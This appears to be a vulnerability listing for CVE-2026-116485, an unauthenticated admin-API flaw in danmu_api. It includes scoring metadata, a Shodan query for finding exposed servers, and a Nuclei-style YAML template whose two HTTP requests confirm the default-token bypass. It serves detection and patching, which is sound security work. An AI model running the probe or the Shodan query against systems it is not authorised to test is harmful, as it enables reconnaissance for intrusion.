SecurityContext

CVE-2026-116485: danmu_api - Unauthenticated Access to Admin API via Default Token

Classification

  • Cwe: CWE-306
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.02349
  • Epss percentile: 0.84112
  • Not known: cpe

Metadata

  • Max-request: 2
  • Shodan-query: http.title:"弹幕api"
  • Verified: yes

Labels

  • Name: danmu_api - Authentication Bypass
  • Impact: Unauthenticated attackers can modify server environment, lock out operators, cause SSRF, and trigger redeployment, severely impacting server integrity and availability.
  • Remediation: Update to version 1.21.7 or later.
  • Vulnerability type: broken_authentication
  • Vulnerability impact: broken_authentication, denial_of_service, server_side_request_forgery, data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2026-116485
  • Not known: requirements

```yaml

id: CVE-2026-116485

info:

name: danmu_api - Unauthenticated Access to Admin API via Default Token

author: kosoyyagent

severity: high

description: |

danmu_api before 1.21.7 contains an authentication bypass caused by default TOKEN usage and unset ADMIN_TOKEN, letting unauthenticated attackers modify server environment configuration via specific API endpoints, exploit requires default token configuration.

impact: |

Unauthenticated attackers can modify server environment, lock out operators, cause SSRF, and trigger redeployment, severely impacting server integrity and availability.

remediation: |

Update to version 1.21.7 or later.

reference:

- https://github.com/huangxd-/danmu_api/commit/6e93478064a0ce4e7ed3bc2eae88adaad1b7ab02

- https://github.com/huangxd-/danmu_api

- https://nvd.nist.gov/vuln/detail/CVE-2026-116485

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2026-116485

epss-score: 0.02349

epss-percentile: 0.84112

cwe-id: CWE-306

metadata:

verified: true

max-request: 2

shodan-query: http.title:"弹幕api"

tags: cve,cve2026,danmu-api,unauth,exposure

flow: http(1) && http(2)

http:

- raw:

- |

GET /api/config HTTP/1.1

Host: {{Hostname}}

matchers:

- type: word

part: body

words:

- 'Welcome to the LogVar Danmu API server'

- '"hasAdminToken":false'

condition: and

internal: true

- raw:

- |

GET /api/cache/animes HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(body, "\"success\":true")'

condition: and

digest: 4a0a00473045022100f749a049057798a7628816ab23dba98ea430cda094129e297090820976a894f8022047177785983d48cc20f8b702fd58b0a84c0f228c1bb3eadd16ccbafbecf0eca5:922c64590222798bb761d5b6d8e72950

```